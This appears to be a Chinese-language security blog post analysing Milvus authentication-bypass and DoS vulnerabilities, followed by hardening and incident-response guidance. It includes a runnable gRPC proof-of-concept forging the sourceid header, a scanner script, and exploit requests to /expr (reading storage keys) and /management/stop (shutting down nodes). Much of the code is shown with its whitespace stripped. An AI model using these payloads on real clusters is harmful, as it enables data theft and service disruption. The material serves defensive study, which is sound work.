ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

Milvus集群攻防实战:认证绕过漏洞检测、复现与生产加固配置清单

Milvus集群攻防实战:认证绕过漏洞检测、复现与生产加固配置清单

1 引子:向量库被忽视的攻击面

大模型落地RAG业务时,绝大多数团队把安全精力全部投入大模型提示词防护,LangChain、LlamaIndex应用层校验,却直接把向量数据库当成普通中间件,简单部署就上线生产。

公网测绘可以扫到大量Milvus实例,19530、9091端口直接暴露,很多实例甚至没有开启账号认证。就算开启认证,前面这三批高危漏洞,可以直接跳过全部身份校验,攻击者拿到集群最高权限,导出全部业务向量数据,删除集合,篡改知识库,读取MinIO、etcd存储密钥。

连续爆出的三个CVE不是孤立bug,是同一套架构信任模型连续犯错。就算升级补丁,部分接口依旧没有鉴权保护。很多运维人员打完补丁,以为万事大吉,遗留攻击面依旧敞开。

很多开发者有一个错觉:向量数据库只存embedding向量,拿了向量也还原不出原始文档。现实情况,通过向量检索、大模型重建,攻击者可以把业务知识库原始业务文本大规模还原出来,企业内部文档、客户对话记录、私有业务资料直接外泄。

2 第一性原理拆解:Milvus内部信任模型到底错在哪

Milvus分布式架构,拆分Proxy、RootCoord、DataNode、QueryNode多个组件,组件之间gRPC通信。设计上区分两类请求来源:外部客户端、集群内部组件。

内部组件通信,早期版本设计一套简易信任机制:内部组件发请求时携带特定sourceId元数据,Proxy拿到后识别为内部组件流量,跳过账号密码、APIKey全套鉴权逻辑,直接放行所有操作。

这里出现底层架构错误:把本应该集群内网才传递的内部信任凭证,交给外部可控的HTTP/gRPC请求头传递

正常安全设计,组件之间身份信任,应当使用双向TLS证书、内网网络隔离、service account,凭证不能由外部HTTP头部传入。外部请求可以随意修改HTTP Header、gRPC metadata,攻击者完全可控输入。只要攻击者传入解码后等于硬编码常量@@milvus-member@@的sourceId,鉴权拦截器直接判定这是集群内部组件请求,权限直接拉满。

渲染错误:Mermaid 渲染失败: Parse error on line 3: ...us Proxy鉴权拦截器]B -->|base64解码对比常量@@milvu... ----------------------^ Expecting 'AMP', 'COLON', 'PIPE', 'TESTSTR', 'DOWN', 'DEFAULT', 'NUM', 'COMMA', 'NODE_STRING', 'BRKT', 'MINUS', 'MULT', 'UNICODE_TEXT', got 'LINK_ID'

这就是CVE‑2025‑64513的根因,不是简单代码写错,是信任边界划分错误,外部输入可以伪造内部身份凭证。

第二个架构错误:9091 metrics管理端口。这个端口本意只输出prometheus监控指标。开发把完整业务REST API、调试接口注册到这个HTTP服务上,但是Gin鉴权中间件只挂载到/api/v1路由组,/management、/expr路由直接注册底层http.ServeMux,没有绑定任何鉴权逻辑

Milvus 9091 Metrics HTTP Server

gin路由组 /api/v1/*

鉴权中间件

底层原生http.ServeMux

/management/stop 无鉴权

/expr调试接口 默认token by‑dev

修复CVE‑2026‑26190的时候,官方修复/api/v1、/expr接口,但是漏掉注册在原生ServeMux上的/management/*系列接口,于是诞生CVE‑2026‑69111,打完补丁依旧可以远程DoS集群节点。

对抗式审查视角,做架构安全评审,要强制回答三个问题:

  1. 这个信任凭证,哪些网络来源可以可控修改?
  2. 鉴权中间件是否覆盖全部路由,有没有路由绕过中间件的注册路径?
  3. 监控、调试端口,是否默认带上业务管理接口,对外暴露?

Milvus这三次漏洞,全部踩中这三个问题。

3 CVE‑2025‑64513 sourceId请求头绕过完整技术分析

受影响版本

  • 2.4.x:小于2.4.24
  • 2.5.x:小于2.5.21
  • 2.6.x:小于2.6.5

源码关键片段

文件internal/proxy/authentication_interceptor.go

funcvalidSourceID(sourceIDstring)bool{decoded,err:=base64.StdEncoding.DecodeString(sourceID)iferr!=nil{returnfalse}returnstring(decoded)=="@@milvus-member@@"}

拦截器逻辑,如果validSourceID返回true,直接跳过鉴权流程,不校验用户名、密码、api key。

攻击者不需要账号,只需要传入base64编码后的字符串@@milvus-member@@,编码结果:QEBtaWx2dXMtZW1iZXJAcw==

gRPC metadata大小写不敏感,sourceidSourceIdsourceId都能命中逻辑。HTTP Rest接口同样可以传入http headersourceId: QEBtaWx2dXMtZW1iZXJAcw==完成绕过。

关键点:就算你已经开启Milvus认证,设置强root密码,开启RBAC,这个漏洞依旧生效。鉴权逻辑直接被短路,所有账号密码完全无效。

修复commit直接移除这套sourceId信任逻辑,所有请求强制走账号/APIKey校验,不再允许外部请求伪装内部组件身份。

临时缓解方案,不能依赖Milvus内部逻辑,必须在网关层直接删除入站sourceId/sourceidheader。

4 CVE‑2026‑26190 9091裸奔管理端口漏洞剖析

受影响版本

  • 2.5.x < 2.5.27
  • 2.6.x < 2.6.10

默认docker-compose、helm部署直接对外暴露TCP 9091,Metrics服务端口。

两个高危攻击点:

  1. /api/v1/*全套业务REST接口,注册在metrics服务,没有挂载鉴权中间件。攻击者直接GET/POST调用,创建用户、删除集合、读取数据库列表,不需要任何凭证。
GET http://target:9091/api/v1/databases

直接返回全部数据库信息。

  1. /expr调试接口,用于执行Go表达式,默认auth参数硬编码值by‑dev,对应etcd默认根路径。攻击者带上这个参数,就可以执行任意Go表达式,读取配置,拿到MinIO访问密钥、etcd账号密码、数据库用户哈希密码。

示例请求:

GET http://target:9091/expr?auth=by-dev&code=GetAllConfig()

拿到存储密钥之后,攻击者直接访问MinIO存储桶,下载全部向量原始存储文件,完整窃取知识库。

这个漏洞非常迷惑人,很多运维升级完CVE‑2025‑64513,关掉外部19530访问,但是9091端口放通,集群直接沦陷。

根因是开发复制粘贴路由代码,把业务接口注册到metrics服务,忘记挂载鉴权中间件,属于典型“中间件遗忘”安全缺陷。

官方补丁给/api/v1路由增加鉴权,删除生产环境默认开启的/expr调试接口。但是,*/management/这一组接口依旧注册在原生http.ServeMux,没有纳入修复范围

5 未完全修复漏洞CVE‑2026‑69111:官方漏掉的DoS接口

受影响版本:2.6.22及以下,3.0.0全部版本,截止2026‑08,官方尚未完成完整闭环修复。

源码注册逻辑,RegisterStopComponent直接把/management/stop注册到全局metricsServer,没有任何鉴权校验,没有复用Gin鉴权中间件。

源码片段:

funcRegisterStopComponent(triggerComponentStopfunc(rolestring)error){Register(&Handler{Path:RouteTriggerStopPath,// "/management/stop"HandlerFunc:func(w http.ResponseWriter,req*http.Request){role:=req.URL.Query().Get("role")// 无任何鉴权代码iferr:=triggerComponentStop(role);err!=nil{...}w.Write([]byte(`{"msg": "OK"}`))},})}

攻击者网络可达9091端口,GET请求携带role参数,远程关闭集群核心组件。

GET http://ip:9091/management/stop?role=proxy GET http://ip:9091/management/stop?role=datanode GET http://ip:9091/management/stop?role=querynode

反复调用,集群服务直接瘫痪,业务完全中断。

这个接口还存在CSRF风险,攻击者可以构造网页,使用img标签触发GET请求,用户访问网页就可以触发集群停止操作。

重点:就算升级修复前面两个CVE,只要9091端口对外开放,该DoS攻击依旧可以执行。不能寄希望Milvus组件自身鉴权,网络层面必须隔离9091,只允许集群内部访问。

6 完整攻击链路复现、PoC代码、漏洞检测脚本

6.1 CVE‑2025‑64513 PoC,可直接复制运行

测试前请部署受影响版本Milvus,仅用于本地测试环境。

# cve_2025_64513_poc.pyimportgrpcfrompymilvus.grpc_genimportmilvus_pb2,milvus_pb2_grpcimportsysdefmain(target_ip,port=19530):target=f"{target_ip}:{port}"channel=grpc.insecure_channel(target)stub=milvus_pb2_grpc.MilvusServiceStub(channel)# 伪造内部组件sourceId payloadbypass_metadata=[("sourceid","QEBtaWx2dXMtZW1iZXJAcw==")]try:resp=stub.ListDatabases(milvus_pb2.ListDatabasesRequest(),metadata=bypass_metadata)print(f"[+] 漏洞利用成功,数据库列表:{resp.db_names}")exceptExceptionase:print(f"[-] 请求失败{str(e)}")if__name__=="__main__":iflen(sys.argv)<2:print("usage: python cve_2025_64513_poc.py 127.0.0.1")sys.exit()main(sys.argv[1])

依赖安装:

pipinstallgrpcio pymilvus

6.2 批量检测脚本,扫描目标是否存在风险

仅用于自己资产检测,禁止扫描非授权目标。

# milvus_scan_check.pyimportrequestsimportsocketimportsysimportgrpcfrompymilvus.grpc_genimportmilvus_pb2,milvus_pb2_grpcdefcheck_9091_api(ip):url=f"http://{ip}:9091/api/v1/databases"try:resp=requests.get(url,timeout=3)ifresp.status_code==200:returnTrue,"CVE‑2026‑26190风险,9091接口无认证"elifresp.status_code==401:returnFalse,"9091接口已开启鉴权"exceptException:returnFalse,"9091端口不可访问"defcheck_stop_dos(ip):url=f"http://{ip}:9091/management/stop?role=proxy"try:resp=requests.get(url,timeout=2)# 不会真关闭,只检测接口是否无鉴权返回200ifresp.status_code==200:returnTrue,"CVE‑2026‑69111风险,/management/stop无鉴权"exceptException:returnFalse,"9091端口不可访问"defcheck_sourceid_bypass(ip,port=19530):try:target=f"{ip}:{port}"channel=grpc.insecure_channel(target)stub=milvus_pb2_grpc.MilvusServiceStub(channel)meta=[("sourceid","QEBtaWx2dXMtZW1iZXJAcw==")]resp=stub.ListDatabases(milvus_pb2.ListDatabasesRequest(),metadata=meta,timeout=3)ifresp.db_namesisnotNone:returnTrue,"CVE‑2025‑64513风险,sourceId绕过生效"exceptException:returnFalse,"19530无漏洞或端口不可达"if__name__=="__main__":target=sys.argv[1]print(f"扫描目标{target}")r1,m1=check_sourceid_bypass(target)print(f"[19530]{m1}")r2,m2=check_9091_api(target)print(f"[9091‑api]{m2}")r3,m3=check_stop_dos(target)print(f"[9091‑stop]{m3}")

6.3 完整攻击链路Mermaid流程图

19530开放

9091开放

9091开放,已修复api/v1

攻击者网络探测

端口探测

路径A:携带sourceId头 CVE‑2025‑64513接管集群

分支1 CVE‑2026‑26190

分支2 CVE‑2026‑69111 DoS攻击

获取全部集合,导出向量,新建管理员账号,窃取RAG知识库

调用/api/v1接口直接操作数据;调用/expr拿到MinIO密钥下载存储文件

调用/management/stop循环关闭节点,集群拒绝服务

7 真实业务场景危害:RAG知识库被窃取的完整链路

很多企业做内部知识库、客户客服RAG,把文档向量化存入Milvus。业务层做了权限隔离,但是向量库本身被攻击者拿下,所有上层权限全部失效。

攻击链路:

  1. 利用漏洞拿到Milvus集群管理员权限;
  2. ListCollections拿到全部业务集合;
  3. 批量查询向量,导出全部embedding;
  4. 通过向量相似度检索,配合大模型还原原始业务文档;
  5. 拿到MinIO密钥,直接拉取底层存储文件,拿到原始分片数据;
  6. 新增Milvus管理员账号留后门,长期潜伏;
  7. 删除业务集合,制造业务故障。

很多团队误以为向量只是数字,就算泄露也没关系。现实测试中,大量业务文档的embedding可以被大模型反向还原出原始文本,企业私有资料、客户对话、内部方案全部外泄。

另外一个风险:数据投毒。攻击者写入恶意向量数据,RAG检索命中后,大模型输出伪造信息,篡改业务知识库内容。

8 对抗式审查视角复盘:开发侧踩过的架构陷阱

站在代码审计与架构评审,复盘这一系列漏洞,提炼通用教训,不止Milvus,其他分布式组件同样适用。

  1. 不要把内部组件信任凭证交给外部可控HTTP头
    内部组件身份凭证,来源必须是网络层、证书、密钥,不能由http header、gRPC metadata传入。外部请求可以任意篡改header,任何基于header做身份信任的设计,天生存在攻击面。

  2. 路由注册时警惕“部分路由绕过鉴权中间件”
    Gin、echo等web框架,分组路由挂载中间件,底层原生mux注册的接口不会继承中间件。Milvus两次踩这个坑,修复一部分路由,漏掉另一组注册在原生mux的接口。做安全评审,要梳理全部注册路由,确认每一条接口都走鉴权链路,不能只看业务接口。

  3. 监控、调试端口,默认不挂载业务管理接口
    Metrics端口本意输出监控指标,不应该带上数据增删改查、组件启停接口。调试接口/expr生产环境必须默认关闭,不能保留硬编码公开token。

  4. 不要假设“开启认证就安全”
    认证开启,只是正常业务流程校验。漏洞可以短路整个鉴权流程,认证开关完全无效。安全不能只依赖组件内部鉴权,网络隔离、网关过滤、最小权限是必要的纵深防御。

  5. 补丁修复完成,要做对抗性测试
    Milvus修复CVE‑2026‑26190之后,没有覆盖全部注册接口,遗留DoS漏洞。打完补丁,不能只看版本号,要手动遍历全部接口,做对抗测试,确认攻击面全部收敛。

对抗式审查,就是站攻击者视角,问自己:我有什么输入点可以绕过校验,哪些路由没有走鉴权,哪些凭证可以被外部控制。

9 生产环境完整加固清单,Nginx/Ingress过滤配置、helm升级命令

优先级:升级版本 > 网络隔离 > 配置加固 > 网关层兜底防护

9.1 版本升级

  • CVE‑2025‑64513修复版本:≥2.4.24 / ≥2.5.21 / ≥2.6.5
  • CVE‑2026‑26190修复版本:≥2.5.27 / ≥2.6.10
  • CVE‑2026‑69111暂无官方补丁,依靠网络隔离防护9091端口。

helm部署升级命令:

helm upgrade milvus milvus/milvus--version2.6.10--namespacemilvus --reuse-values

docker-compose部署,修改yml镜像tag,再执行:

dockercompose pull&&dockercompose up-d

升级完成验证,访问9091/api/v1/collections,正常返回401 Unauthorized,代表鉴权生效。

curl-vhttp://127.0.0.1:9091/api/v1/collections

9.2 milvus.yaml核心安全配置

common:security:authorizationEnabled:true# 强制开启认证tlsMode:1# 开启外部TLS加密components:security:internaltlsEnabled:true# 组件之间内部TLS加密

修改root默认密码,业务账号使用RBAC最小权限,业务应用不要使用root账号访问集群。

9.3 Nginx反向代理过滤sourceId头兜底防护

如果业务前面部署Nginx,直接删除入站sourceId相关header,作为临时兜底防护。

location / { proxy_pass http://milvus_proxy:19530; proxy_set_header Host $host; # 删除攻击者可控的sourceId系列header proxy_set_header sourceid ""; proxy_set_header sourceId ""; proxy_set_header SourceId ""; }

9.4 Kubernetes Ingress Nginx配置片段

apiVersion:networking.k8s.io/v1kind:Ingressmetadata:name:milvus-ingressannotations:nginx.ingress.kubernetes.io/configuration-snippet:|proxy_set_header sourceid ""; proxy_set_header sourceId "";spec:rules:-host:milvus.example.comhttp:paths:-path:/pathType:Prefixbackend:service:name:milvus-proxyport:number:19530

9.5 网络安全组、防火墙规则

  1. 9091端口绝对禁止公网访问,仅集群内部pod、内网可信主机访问。生产环境不对外暴露9091。
  2. 对外只开放19530业务端口,其他Coord、DataNode、QueryNode端口全部内网访问。
  3. k8s网络策略NetworkPolicy,限制pod访问9091,只允许运维pod访问metrics端口。

NetworkPolicy示例片段:

apiVersion:networking.k8s.io/v1kind:NetworkPolicymetadata:name:milvus‑deny‑9091‑externalnamespace:milvusspec:podSelector:matchLabels:app.kubernetes.io/name:milvuspolicyTypes:-Ingressingress:-ports:-protocol:TCPport:19530# 9091只允许特定标签pod访问,外部全部拒绝

10 入侵事后排查清单,日志检索规则

怀疑集群被入侵,按下面步骤排查。

  1. Milvus日志检索关键词:
  • 审计是否出现陌生账号创建操作:CreateUserCreateRole
  • 异常大量ListDatabases、ListCollections调用;
  • 异常高频DropCollection删除集合操作。
  1. 检查用户列表,查看是否存在未知管理员账号。
frompymilvusimportconnections,utility connections.connect(alias="default",user="root",password="xxx")print(utility.list_users())

出现陌生账号,直接删除。

  1. MinIO存储,检查是否陌生访问、大量下载向量segment文件。
  2. 检查etcd内部元数据,查看是否被篡改。
  3. 检查容器进程,是否存在异常进程。

如果确认被入侵:

  1. 立刻隔离网络;
  2. 删除所有陌生账号;
  3. 修改root密码,修改MinIO、etcd密钥;
  4. 评估数据是否被篡改,必要时恢复备份;
  5. 升级到修复版本,加固网络策略。

注意:攻击者如果通过漏洞拿到权限,日志也可能被篡改,日志只能作为参考,需要多维度交叉比对。

11 向量数据库通用安全设计思考

现在RAG业务,安全重心大多放在大模型提示注入,向量库本身的攻击面经常被忽略。向量数据库是AI业务的核心数据存储,它被攻陷,上层所有RAG防护全部失效。

向量数据库威胁模型,需要覆盖:

  1. 认证绕过,未授权访问集群;
  2. 数据窃取,向量导出、原始文档还原;
  3. 数据投毒,写入恶意向量污染知识库;
  4. 拒绝服务攻击,组件被停止;
  5. 存储层密钥泄露,底层存储文件下载。

做系统设计,不能假设向量数据库只在内网,很多场景下会存在边界泄露。必须做到:

  • 强制身份认证,最小权限RBAC;
  • 网络层最小访问控制,调试端口禁止对外;
  • 传输开启TLS加密;
  • 网关层增加兜底防护;
  • 日志审计,监控高危操作告警;
  • 定期资产测绘,扫描是否向量库端口意外对外暴露。

很多团队上线之后,几乎不会去审计向量数据库安全,漏洞爆发之后才发现,公网已经跑了几个月。

12 互动问题

  1. 你们项目中RAG业务,向量数据库做了哪些安全防护?有没有踩过内部信任机制带来的安全坑?
  2. 如果业务无法立刻升级Milvus版本,除网络隔离之外,还有哪些可行的纵深防御手段?

我之前也写过类似的文章,更多相关内容、心得经验可以来我博客看看~

返回列表